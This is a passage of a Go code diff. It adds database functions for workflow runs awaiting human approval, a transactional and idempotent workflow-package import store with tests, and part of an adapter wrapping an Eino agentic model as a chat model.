||||||
|
}
|
||||||
|
pending["comment"] = strings.TrimSpace(comment)
|
||||||
|
raw, _ := json.Marshal(pending)
|
||||||
|
_, err = db.Exec(
|
||||||
|
`UPDATE workflow_runs SET pending_hitl_json = ? WHERE id = ? AND status = 'awaiting_hitl'`,
|
||||||
|
string(raw), runID,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("记录工作流审批决定失败: %w", err)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) ListWorkflowRunsAwaitingHITL(limit int) ([]*WorkflowRun, error) {
|
||||||
|
return db.ListWorkflowRunsAwaitingHITLFiltered("", limit)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ListWorkflowRunsAwaitingHITLFiltered returns awaiting_hitl runs, optionally scoped to a conversation.
|
||||||
|
func (db *DB) ListWorkflowRunsAwaitingHITLFiltered(conversationID string, limit int) ([]*WorkflowRun, error) {
|
||||||
|
if limit <= 0 {
|
||||||
|
limit = 50
|
||||||
|
}
|
||||||
|
conversationID = strings.TrimSpace(conversationID)
|
||||||
|
var rows *sql.Rows
|
||||||
|
var err error
|
||||||
|
if conversationID != "" {
|
||||||
|
rows, err = db.Query(
|
||||||
|
`SELECT `+workflowRunColumns+` FROM workflow_runs WHERE status = 'awaiting_hitl' AND conversation_id = ? ORDER BY started_at DESC LIMIT ?`,
|
||||||
|
conversationID, limit,
|
||||||
|
)
|
||||||
|
} else {
|
||||||
|
rows, err = db.Query(
|
||||||
|
`SELECT `+workflowRunColumns+` FROM workflow_runs WHERE status = 'awaiting_hitl' ORDER BY started_at DESC LIMIT ?`,
|
||||||
|
limit,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("查询等待审批的工作流运行失败: %w", err)
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
var out []*WorkflowRun
|
||||||
|
for rows.Next() {
|
||||||
|
row, err := scanWorkflowRun(rows)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
out = append(out, row)
|
||||||
|
}
|
||||||
|
return out, rows.Err()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) migrateWorkflowRunsTable() error {
|
||||||
|
cols := []struct{ name, ddl string }{
|
||||||
|
{"pending_hitl_node_id", "ALTER TABLE workflow_runs ADD COLUMN pending_hitl_node_id TEXT"},
|
||||||
|
{"pending_hitl_json", "ALTER TABLE workflow_runs ADD COLUMN pending_hitl_json TEXT"},
|
||||||
|
}
|
||||||
|
for _, col := range cols {
|
||||||
|
var count int
|
||||||
|
err := db.QueryRow("SELECT COUNT(*) FROM pragma_table_info('workflow_runs') WHERE name=?", col.name).Scan(&count)
|
||||||
|
if err != nil || count > 0 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if _, err := db.Exec(col.ddl); err != nil {
|
||||||
|
errMsg := strings.ToLower(err.Error())
|
||||||
|
if !strings.Contains(errMsg, "duplicate column") && !strings.Contains(errMsg, "already exists") {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func nullString(v string) interface{} {
|
||||||
|
v = strings.TrimSpace(v)
|
||||||
|
if v == "" {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return v
|
||||||
|
}
|
||||||
@@ -0,0 +1,286 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"crypto/sha256"
|
||||||
|
"database/sql"
|
||||||
|
"encoding/hex"
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
"unicode"
|
||||||
|
|
||||||
|
"github.com/google/uuid"
|
||||||
|
)
|
||||||
|
|
||||||
|
type WorkflowPackageInspection struct {
|
||||||
|
ID, PackageHash, ManifestJSON, WorkflowPayloadJSON, InspectionJSON string
|
||||||
|
SourceWorkflowID, SourceContentHash, SourceGraphHash string
|
||||||
|
SourceRevision int
|
||||||
|
LocalConflictState, LocalWorkflowID, LocalContentHash, LocalGraphHash string
|
||||||
|
CreatedBy, Status string
|
||||||
|
CreatedAt, ExpiresAt time.Time
|
||||||
|
ConsumedAt *time.Time
|
||||||
|
}
|
||||||
|
|
||||||
|
type WorkflowPackageImport struct {
|
||||||
|
ID, InspectionID, RequestHash, IdempotencyKey, ActorUserID string
|
||||||
|
Action, SourceWorkflowID, TargetWorkflowID, ResultingWorkflowID string
|
||||||
|
Result, ErrorCode, ErrorMessage string
|
||||||
|
CreatedAt time.Time
|
||||||
|
AppliedAt *time.Time
|
||||||
|
}
|
||||||
|
|
||||||
|
type WorkflowPackageApplyRequest struct {
|
||||||
|
InspectionID, RequestHash, IdempotencyKey, ActorUserID, Action, NewWorkflowID string
|
||||||
|
ConfirmOverwrite bool
|
||||||
|
}
|
||||||
|
|
||||||
|
type WorkflowPackageStoreError struct{ Code, Message string }
|
||||||
|
|
||||||
|
func (e *WorkflowPackageStoreError) Error() string { return e.Code + ": " + e.Message }
|
||||||
|
func workflowPackageStoreError(code, message string) error {
|
||||||
|
return &WorkflowPackageStoreError{code, message}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) CreateWorkflowPackageInspection(v *WorkflowPackageInspection) error {
|
||||||
|
if v == nil || strings.TrimSpace(v.ID) == "" || strings.TrimSpace(v.CreatedBy) == "" {
|
||||||
|
return fmt.Errorf("workflow package inspection is incomplete")
|
||||||
|
}
|
||||||
|
if v.CreatedAt.IsZero() {
|
||||||
|
v.CreatedAt = time.Now().UTC()
|
||||||
|
}
|
||||||
|
if v.ExpiresAt.IsZero() {
|
||||||
|
v.ExpiresAt = v.CreatedAt.Add(30 * time.Minute)
|
||||||
|
}
|
||||||
|
_, err := db.Exec(`INSERT INTO workflow_package_inspections (id,package_hash,manifest_json,workflow_payload_json,inspection_json,source_workflow_id,source_revision,source_content_hash,source_graph_hash,local_conflict_state,local_workflow_id,local_content_hash,local_graph_hash,created_by,status,created_at,expires_at) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)`, v.ID, v.PackageHash, v.ManifestJSON, v.WorkflowPayloadJSON, v.InspectionJSON, v.SourceWorkflowID, v.SourceRevision, v.SourceContentHash, v.SourceGraphHash, v.LocalConflictState, nullString(v.LocalWorkflowID), nullString(v.LocalContentHash), nullString(v.LocalGraphHash), v.CreatedBy, "ready", v.CreatedAt.UTC(), v.ExpiresAt.UTC())
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) GetWorkflowPackageInspection(id, actor string) (*WorkflowPackageInspection, error) {
|
||||||
|
now := time.Now().UTC()
|
||||||
|
_, _ = db.Exec(`UPDATE workflow_package_inspections SET status='expired' WHERE status='ready' AND expires_at <= ?`, now)
|
||||||
|
row, err := scanWorkflowPackageInspection(db.QueryRow(`SELECT id,package_hash,manifest_json,workflow_payload_json,inspection_json,source_workflow_id,source_revision,source_content_hash,source_graph_hash,local_conflict_state,COALESCE(local_workflow_id,''),COALESCE(local_content_hash,''),COALESCE(local_graph_hash,''),created_by,status,created_at,expires_at,consumed_at FROM workflow_package_inspections WHERE id=? AND created_by=?`, strings.TrimSpace(id), strings.TrimSpace(actor)))
|
||||||
|
if err == sql.ErrNoRows {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
return row, err
|
||||||
|
}
|
||||||
|
|
||||||
|
func scanWorkflowPackageInspection(s interface{ Scan(...any) error }) (*WorkflowPackageInspection, error) {
|
||||||
|
var v WorkflowPackageInspection
|
||||||
|
var consumed sql.NullTime
|
||||||
|
err := s.Scan(&v.ID, &v.PackageHash, &v.ManifestJSON, &v.WorkflowPayloadJSON, &v.InspectionJSON, &v.SourceWorkflowID, &v.SourceRevision, &v.SourceContentHash, &v.SourceGraphHash, &v.LocalConflictState, &v.LocalWorkflowID, &v.LocalContentHash, &v.LocalGraphHash, &v.CreatedBy, &v.Status, &v.CreatedAt, &v.ExpiresAt, &consumed)
|
||||||
|
if consumed.Valid {
|
||||||
|
t := consumed.Time
|
||||||
|
v.ConsumedAt = &t
|
||||||
|
}
|
||||||
|
return &v, err
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) GetWorkflowPackageImport(id, actor string) (*WorkflowPackageImport, error) {
|
||||||
|
v, err := scanWorkflowPackageImport(db.QueryRow(`SELECT id,inspection_id,request_hash,idempotency_key,actor_user_id,action,source_workflow_id,target_workflow_id,COALESCE(resulting_workflow_id,''),result,COALESCE(error_code,''),COALESCE(error_message,''),created_at,applied_at FROM workflow_package_imports WHERE id=? AND actor_user_id=?`, strings.TrimSpace(id), strings.TrimSpace(actor)))
|
||||||
|
if err == sql.ErrNoRows {
|
||||||
|
return nil, nil
|
||||||
|
}
|
||||||
|
return v, err
|
||||||
|
}
|
||||||
|
func scanWorkflowPackageImport(s interface{ Scan(...any) error }) (*WorkflowPackageImport, error) {
|
||||||
|
var v WorkflowPackageImport
|
||||||
|
var applied sql.NullTime
|
||||||
|
err := s.Scan(&v.ID, &v.InspectionID, &v.RequestHash, &v.IdempotencyKey, &v.ActorUserID, &v.Action, &v.SourceWorkflowID, &v.TargetWorkflowID, &v.ResultingWorkflowID, &v.Result, &v.ErrorCode, &v.ErrorMessage, &v.CreatedAt, &applied)
|
||||||
|
if applied.Valid {
|
||||||
|
t := applied.Time
|
||||||
|
v.AppliedAt = &t
|
||||||
|
}
|
||||||
|
return &v, err
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) ApplyWorkflowPackageImport(ctx context.Context, req WorkflowPackageApplyRequest) (*WorkflowPackageImport, bool, error) {
|
||||||
|
tx, err := db.BeginTx(ctx, nil)
|
||||||
|
if err != nil {
|
||||||
|
return nil, false, err
|
||||||
|
}
|
||||||
|
defer tx.Rollback()
|
||||||
|
var existingHash string
|
||||||
|
previous, prevErr := scanWorkflowPackageImport(tx.QueryRowContext(ctx, `SELECT id,inspection_id,request_hash,idempotency_key,actor_user_id,action,source_workflow_id,target_workflow_id,COALESCE(resulting_workflow_id,''),result,COALESCE(error_code,''),COALESCE(error_message,''),created_at,applied_at FROM workflow_package_imports WHERE actor_user_id=? AND idempotency_key=?`, req.ActorUserID, req.IdempotencyKey))
|
||||||
|
if prevErr == nil {
|
||||||
|
existingHash = previous.RequestHash
|
||||||
|
if existingHash != req.RequestHash {
|
||||||
|
return nil, false, workflowPackageStoreError("WFPKG_IDEMPOTENCY_KEY_REUSED", "幂等键已用于其他请求")
|
||||||
|
}
|
||||||
|
return previous, true, nil
|
||||||
|
}
|
||||||
|
if prevErr != sql.ErrNoRows {
|
||||||
|
return nil, false, prevErr
|
||||||
|
}
|
||||||
|
inspection, err := scanWorkflowPackageInspection(tx.QueryRowContext(ctx, `SELECT id,package_hash,manifest_json,workflow_payload_json,inspection_json,source_workflow_id,source_revision,source_content_hash,source_graph_hash,local_conflict_state,COALESCE(local_workflow_id,''),COALESCE(local_content_hash,''),COALESCE(local_graph_hash,''),created_by,status,created_at,expires_at,consumed_at FROM workflow_package_inspections WHERE id=? AND created_by=?`, req.InspectionID, req.ActorUserID))
|
||||||
|
if err == sql.ErrNoRows {
|
||||||
|
return nil, false, workflowPackageStoreError("WFPKG_INSPECTION_NOT_FOUND", "预检不存在")
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
|
return nil, false, err
|
||||||
|
}
|
||||||
|
now := time.Now().UTC()
|
||||||
|
if !inspection.ExpiresAt.After(now) || inspection.Status == "expired" {
|
||||||
|
_, _ = tx.ExecContext(ctx, `UPDATE workflow_package_inspections SET status='expired' WHERE id=?`, inspection.ID)
|
||||||
|
return nil, false, workflowPackageStoreError("WFPKG_INSPECTION_EXPIRED", "预检已过期")
|
||||||
|
}
|
||||||
|
if inspection.Status != "ready" {
|
||||||
|
return nil, false, workflowPackageStoreError("WFPKG_INSPECTION_CONSUMED", "预检已被使用")
|
||||||
|
}
|
||||||
|
var payload struct {
|
||||||
|
ID string `json:"id"`
|
||||||
|
Name string `json:"name"`
|
||||||
|
Description string `json:"description"`
|
||||||
|
GraphJSON string `json:"graph_json"`
|
||||||
|
Enabled bool `json:"enabled"`
|
||||||
|
}
|
||||||
|
if err := json.Unmarshal([]byte(inspection.WorkflowPayloadJSON), &payload); err != nil {
|
||||||
|
return nil, false, fmt.Errorf("decode inspection payload: %w", err)
|
||||||
|
}
|
||||||
|
targetID := inspection.SourceWorkflowID
|
||||||
|
if req.Action == "rename" {
|
||||||
|
targetID = strings.TrimSpace(req.NewWorkflowID)
|
||||||
|
if !validWorkflowPackageID(targetID) {
|
||||||
|
return nil, false, workflowPackageStoreError("WFPKG_INVALID_RENAME_ID", "新工作流 ID 无效")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
sourceCurrent, err := scanWorkflowDefinition(tx.QueryRowContext(ctx, "SELECT "+workflowDefinitionColumns+" FROM workflow_definitions WHERE id=?", inspection.SourceWorkflowID))
|
||||||
|
if err == sql.ErrNoRows {
|
||||||
|
sourceCurrent = nil
|
||||||
|
} else if err != nil {
|
||||||
|
return nil, false, err
|
||||||
|
}
|
||||||
|
if err := checkWorkflowPackageSnapshot(inspection, sourceCurrent, inspection.SourceWorkflowID); err != nil {
|
||||||
|
return nil, false, err
|
||||||
|
}
|
||||||
|
current := sourceCurrent
|
||||||
|
if targetID != inspection.SourceWorkflowID {
|
||||||
|
current, err = scanWorkflowDefinition(tx.QueryRowContext(ctx, "SELECT "+workflowDefinitionColumns+" FROM workflow_definitions WHERE id=?", targetID))
|
||||||
|
if err == sql.ErrNoRows {
|
||||||
|
current = nil
|
||||||
|
} else if err != nil {
|
||||||
|
return nil, false, err
|
||||||
|
}
|
||||||
|
}
|
||||||
|
result := ""
|
||||||
|
resultingID := ""
|
||||||
|
switch req.Action {
|
||||||
|
case "create":
|
||||||
|
if inspection.LocalConflictState != "none" || current != nil {
|
||||||
|
return nil, false, workflowPackageStoreError("WFPKG_ID_CONFLICT", "目标工作流已存在")
|
||||||
|
}
|
||||||
|
result = "created"
|
||||||
|
resultingID = targetID
|
||||||
|
case "keep_existing":
|
||||||
|
if inspection.LocalConflictState == "none" {
|
||||||
|
return nil, false, workflowPackageStoreError("WFPKG_ID_CONFLICT", "当前预检不允许保留本地")
|
||||||
|
}
|
||||||
|
if inspection.LocalConflictState == "identical" {
|
||||||
|
result = "skipped_identical"
|
||||||
|
} else {
|
||||||
|
result = "kept_existing"
|
||||||
|
}
|
||||||
|
resultingID = targetID
|
||||||
|
case "overwrite":
|
||||||
|
if inspection.LocalConflictState != "id_conflict" {
|
||||||
|
return nil, false, workflowPackageStoreError("WFPKG_ID_CONFLICT", "当前预检不允许覆盖")
|
||||||
|
}
|
||||||
|
if !req.ConfirmOverwrite {
|
||||||
|
return nil, false, workflowPackageStoreError("WFPKG_OVERWRITE_CONFIRMATION_REQUIRED", "覆盖需要确认")
|
||||||
|
}
|
||||||
|
result = "overwritten"
|
||||||
|
resultingID = targetID
|
||||||
|
case "rename":
|
||||||
|
if inspection.LocalConflictState != "id_conflict" || current != nil {
|
||||||
|
return nil, false, workflowPackageStoreError("WFPKG_ID_CONFLICT", "当前预检不允许另存")
|
||||||
|
}
|
||||||
|
result = "renamed"
|
||||||
|
resultingID = targetID
|
||||||
|
default:
|
||||||
|
return nil, false, workflowPackageStoreError("WFPKG_INVALID_ACTION", "导入动作无效")
|
||||||
|
}
|
||||||
|
if result == "created" || result == "renamed" {
|
||||||
|
_, err = tx.ExecContext(ctx, `INSERT INTO workflow_definitions (id,name,description,version,graph_json,enabled,created_at,updated_at) VALUES (?,?,?,?,?,?,?,?)`, resultingID, payload.Name, payload.Description, 1, payload.GraphJSON, boolToInt(payload.Enabled), now, now)
|
||||||
|
} else if result == "overwritten" {
|
||||||
|
_, err = tx.ExecContext(ctx, `UPDATE workflow_definitions SET name=?,description=?,version=version+1,graph_json=?,enabled=?,updated_at=? WHERE id=?`, payload.Name, payload.Description, payload.GraphJSON, boolToInt(payload.Enabled), now, resultingID)
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
|
return nil, false, err
|
||||||
|
}
|
||||||
|
imp := &WorkflowPackageImport{ID: "wpii_" + strings.ReplaceAll(uuid.NewString(), "-", ""), InspectionID: inspection.ID, RequestHash: req.RequestHash, IdempotencyKey: req.IdempotencyKey, ActorUserID: req.ActorUserID, Action: req.Action, SourceWorkflowID: inspection.SourceWorkflowID, TargetWorkflowID: targetID, ResultingWorkflowID: resultingID, Result: result, CreatedAt: now, AppliedAt: &now}
|
||||||
|
_, err = tx.ExecContext(ctx, `INSERT INTO workflow_package_imports (id,inspection_id,request_hash,idempotency_key,actor_user_id,action,source_workflow_id,target_workflow_id,resulting_workflow_id,result,created_at,applied_at) VALUES (?,?,?,?,?,?,?,?,?,?,?,?)`, imp.ID, imp.InspectionID, imp.RequestHash, imp.IdempotencyKey, imp.ActorUserID, imp.Action, imp.SourceWorkflowID, imp.TargetWorkflowID, nullString(imp.ResultingWorkflowID), imp.Result, now, now)
|
||||||
|
if err != nil {
|
||||||
|
return nil, false, err
|
||||||
|
}
|
||||||
|
if _, err = tx.ExecContext(ctx, `UPDATE workflow_package_inspections SET status='consumed',consumed_at=? WHERE id=? AND status='ready'`, now, inspection.ID); err != nil {
|
||||||
|
return nil, false, err
|
||||||
|
}
|
||||||
|
if err = tx.Commit(); err != nil {
|
||||||
|
return nil, false, err
|
||||||
|
}
|
||||||
|
return imp, false, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func checkWorkflowPackageSnapshot(i *WorkflowPackageInspection, current *WorkflowDefinition, targetID string) error {
|
||||||
|
if i.LocalConflictState == "none" {
|
||||||
|
if current != nil {
|
||||||
|
return workflowPackageStoreError("WFPKG_CONFLICT_CHANGED", "本地工作流已变化")
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
if current == nil || current.ID != i.LocalWorkflowID || current.ID != targetID {
|
||||||
|
return workflowPackageStoreError("WFPKG_CONFLICT_CHANGED", "本地工作流已变化")
|
||||||
|
}
|
||||||
|
content, graph := workflowDefinitionPackageHashes(current)
|
||||||
|
if content != i.LocalContentHash || graph != i.LocalGraphHash {
|
||||||
|
return workflowPackageStoreError("WFPKG_CONFLICT_CHANGED", "本地工作流已变化")
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
func workflowDefinitionPackageHashes(w *WorkflowDefinition) (string, string) {
|
||||||
|
var g any
|
||||||
|
dec := json.NewDecoder(strings.NewReader(w.GraphJSON))
|
||||||
|
dec.UseNumber()
|
||||||
|
_ = dec.Decode(&g)
|
||||||
|
graph, _ := json.Marshal(g)
|
||||||
|
payload := struct {
|
||||||
|
ID string `json:"id"`
|
||||||
|
Name string `json:"name"`
|
||||||
|
Description string `json:"description,omitempty"`
|
||||||
|
Version int `json:"version"`
|
||||||
|
GraphJSON string `json:"graph_json"`
|
||||||
|
Enabled bool `json:"enabled"`
|
||||||
|
}{w.ID, w.Name, w.Description, w.Version, string(graph), w.Enabled}
|
||||||
|
b, _ := json.Marshal(payload)
|
||||||
|
return workflowPackageHash(b), workflowPackageHash(graph)
|
||||||
|
}
|
||||||
|
func workflowPackageHash(b []byte) string {
|
||||||
|
s := sha256.Sum256(b)
|
||||||
|
return "sha256:" + hex.EncodeToString(s[:])
|
||||||
|
}
|
||||||
|
func validWorkflowPackageID(id string) bool {
|
||||||
|
if len(id) < 1 || len(id) > 128 {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
for _, r := range id {
|
||||||
|
if unicode.IsControl(r) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) PurgeWorkflowPackageLifecycle(now time.Time) error {
|
||||||
|
now = now.UTC()
|
||||||
|
if _, err := db.Exec(`UPDATE workflow_package_inspections SET status='expired' WHERE status='ready' AND expires_at<=?`, now); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if _, err := db.Exec(`DELETE FROM workflow_package_inspections WHERE status='expired' AND expires_at<? AND NOT EXISTS (SELECT 1 FROM workflow_package_imports i WHERE i.inspection_id=workflow_package_inspections.id)`, now.Add(-24*time.Hour)); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
_, err := db.Exec(`DELETE FROM workflow_package_imports WHERE created_at<?`, now.AddDate(0, 0, -90))
|
||||||
|
return err
|
||||||
|
}
|
||||||
@@ -0,0 +1,74 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"encoding/json"
|
||||||
|
"path/filepath"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestWorkflowPackageApplyOverwriteIsTransactionalAndIdempotent(t *testing.T) {
|
||||||
|
db, err := NewDB(filepath.Join(t.TempDir(), "workflow-package.db"), zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
t.Cleanup(func() { _ = db.Close() })
|
||||||
|
current := &WorkflowDefinition{ID: "wf-1", Name: "Local", Version: 12, GraphJSON: `{"nodes":[]}`, Enabled: true}
|
||||||
|
if err := db.UpsertWorkflowDefinition(current); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
current, _ = db.GetWorkflowDefinition("wf-1")
|
||||||
|
content, graph := workflowDefinitionPackageHashes(current)
|
||||||
|
payload, _ := json.Marshal(map[string]any{"id": "wf-1", "name": "Imported", "description": "new", "version": 18, "graph_json": `{"nodes":[]}`, "enabled": false})
|
||||||
|
now := time.Now().UTC()
|
||||||
|
inspection := &WorkflowPackageInspection{ID: "wpi_test", PackageHash: "sha256:pkg", ManifestJSON: "{}", WorkflowPayloadJSON: string(payload), InspectionJSON: "{}", SourceWorkflowID: "wf-1", SourceRevision: 18, SourceContentHash: "sha256:src", SourceGraphHash: "sha256:graph", LocalConflictState: "id_conflict", LocalWorkflowID: "wf-1", LocalContentHash: content, LocalGraphHash: graph, CreatedBy: "user-1", CreatedAt: now, ExpiresAt: now.Add(time.Minute)}
|
||||||
|
if err := db.CreateWorkflowPackageInspection(inspection); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
req := WorkflowPackageApplyRequest{InspectionID: inspection.ID, RequestHash: "sha256:req", IdempotencyKey: "key-1", ActorUserID: "user-1", Action: "overwrite", ConfirmOverwrite: true}
|
||||||
|
imp, replayed, err := db.ApplyWorkflowPackageImport(context.Background(), req)
|
||||||
|
if err != nil || replayed || imp.Result != "overwritten" {
|
||||||
|
t.Fatalf("apply = %#v replay=%v err=%v", imp, replayed, err)
|
||||||
|
}
|
||||||
|
updated, _ := db.GetWorkflowDefinition("wf-1")
|
||||||
|
if updated.Version != 13 || updated.Name != "Imported" || updated.Enabled {
|
||||||
|
t.Fatalf("updated workflow = %#v", updated)
|
||||||
|
}
|
||||||
|
replay, replayed, err := db.ApplyWorkflowPackageImport(context.Background(), req)
|
||||||
|
if err != nil || !replayed || replay.ID != imp.ID {
|
||||||
|
t.Fatalf("replay = %#v replay=%v err=%v", replay, replayed, err)
|
||||||
|
}
|
||||||
|
gotInspection, err := db.GetWorkflowPackageInspection(inspection.ID, "user-1")
|
||||||
|
if err != nil || gotInspection.Status != "consumed" {
|
||||||
|
t.Fatalf("inspection=%#v err=%v", gotInspection, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestWorkflowPackageApplyRejectsChangedConflictSnapshot(t *testing.T) {
|
||||||
|
db, err := NewDB(filepath.Join(t.TempDir(), "workflow-package-conflict.db"), zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
t.Cleanup(func() { _ = db.Close() })
|
||||||
|
if err := db.UpsertWorkflowDefinition(&WorkflowDefinition{ID: "wf-2", Name: "Local", GraphJSON: `{"nodes":[]}`, Enabled: true}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
local, _ := db.GetWorkflowDefinition("wf-2")
|
||||||
|
content, graph := workflowDefinitionPackageHashes(local)
|
||||||
|
payload, _ := json.Marshal(map[string]any{"id": "wf-2", "name": "Imported", "version": 2, "graph_json": `{"nodes":[]}`, "enabled": true})
|
||||||
|
now := time.Now().UTC()
|
||||||
|
inspection := &WorkflowPackageInspection{ID: "wpi_changed", PackageHash: "sha256:pkg", ManifestJSON: "{}", WorkflowPayloadJSON: string(payload), InspectionJSON: "{}", SourceWorkflowID: "wf-2", SourceRevision: 2, SourceContentHash: "sha256:src", SourceGraphHash: "sha256:graph", LocalConflictState: "id_conflict", LocalWorkflowID: "wf-2", LocalContentHash: content, LocalGraphHash: graph, CreatedBy: "user-1", CreatedAt: now, ExpiresAt: now.Add(time.Minute)}
|
||||||
|
if err := db.CreateWorkflowPackageInspection(inspection); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if err := db.UpsertWorkflowDefinition(&WorkflowDefinition{ID: "wf-2", Name: "Changed", GraphJSON: `{"nodes":[]}`, Enabled: true}); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
_, _, err = db.ApplyWorkflowPackageImport(context.Background(), WorkflowPackageApplyRequest{InspectionID: inspection.ID, RequestHash: "sha256:req", IdempotencyKey: "key-2", ActorUserID: "user-1", Action: "overwrite", ConfirmOverwrite: true})
|
||||||
|
if e, ok := err.(*WorkflowPackageStoreError); !ok || e.Code != "WFPKG_CONFLICT_CHANGED" {
|
||||||
|
t.Fatalf("err=%v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,125 @@
|
|||||||
|
package llm
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
|
||||||
|
"github.com/cloudwego/eino/components/model"
|
||||||
|
"github.com/cloudwego/eino/schema"
|
||||||
|
)
|
||||||
|
|
||||||
|
// AgenticChatModelAdapter exposes a text-oriented AgenticModel as a classic
|
||||||
|
// BaseChatModel for Eino components that have not adopted AgenticMessage yet.
|
||||||
|
// It adapts only Eino's in-memory message shape; no HTTP protocol is translated.
|
||||||
|
type AgenticChatModelAdapter struct {
|
||||||
|
model model.AgenticModel
|
||||||
|
tools []*schema.ToolInfo
|
||||||
|
}
|
||||||
|
|
||||||
|
func NewAgenticChatModelAdapter(agenticModel model.AgenticModel) model.ChatModel {
|
||||||
|
return &AgenticChatModelAdapter{model: agenticModel}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (a *AgenticChatModelAdapter) BindTools(tools []*schema.ToolInfo) error {
|
||||||
|
if a == nil || a.model == nil {
|
||||||
|
return fmt.Errorf("agentic chat adapter: model is nil")
|
||||||
|
}
|
||||||
|
a.tools = append([]*schema.ToolInfo(nil), tools...)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (a *AgenticChatModelAdapter) Generate(
|
||||||
|
ctx context.Context,
|
||||||
|
input []*schema.Message,
|
||||||
|
opts ...model.Option,
|
||||||
|
) (*schema.Message, error) {
|
||||||
|
if a == nil || a.model == nil {
|
||||||
|
return nil, fmt.Errorf("agentic chat adapter: model is nil")
|
||||||
|
}
|
||||||
|
out, err := a.model.Generate(ctx, classicMessagesToAgentic(input), commonAgenticOptions(a.tools, opts...)...)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
return agenticMessageToClassic(out), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (a *AgenticChatModelAdapter) Stream(
|
||||||
|
ctx context.Context,
|
||||||
|
input []*schema.Message,
|
||||||
|
opts ...model.Option,
|
||||||
|
) (*schema.StreamReader[*schema.Message], error) {
|
||||||
|
if a == nil || a.model == nil {
|
||||||
|
return nil, fmt.Errorf("agentic chat adapter: model is nil")
|
||||||
|
}
|
||||||
|
stream, err := a.model.Stream(ctx, classicMessagesToAgentic(input), commonAgenticOptions(a.tools, opts...)...)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
return schema.StreamReaderWithConvert(stream, func(msg *schema.AgenticMessage) (*schema.Message, error) {
|
||||||
|
return agenticMessageToClassic(msg), nil
|
||||||
|
}), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func classicMessagesToAgentic(input []*schema.Message) []*schema.AgenticMessage {
|
||||||
|
out := make([]*schema.AgenticMessage, 0, len(input))
|
||||||
|
for _, msg := range input {
|
||||||
|
if msg == nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
role := schema.AgenticRoleTypeUser
|
||||||
|
switch msg.Role {
|
||||||
|
case schema.System:
|
||||||
|
role = schema.AgenticRoleTypeSystem
|
||||||
|
case schema.Assistant:
|
||||||
|
role = schema.AgenticRoleTypeAssistant
|
||||||
|
}
|
||||||
|
agentic := &schema.AgenticMessage{Role: role}
|
||||||
|
if msg.Role == schema.Assistant {
|
||||||
|
if msg.Content != "" {
|
||||||
|
agentic.ContentBlocks = append(agentic.ContentBlocks, schema.NewContentBlock(&schema.AssistantGenText{Text: msg.Content}))
|
||||||
|
}
|
||||||
|
} else if msg.Content != "" {
|
||||||
|
agentic.ContentBlocks = append(agentic.ContentBlocks, schema.NewContentBlock(&schema.UserInputText{Text: msg.Content}))
|
||||||
|
}
|
||||||
|
out = append(out, agentic)
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
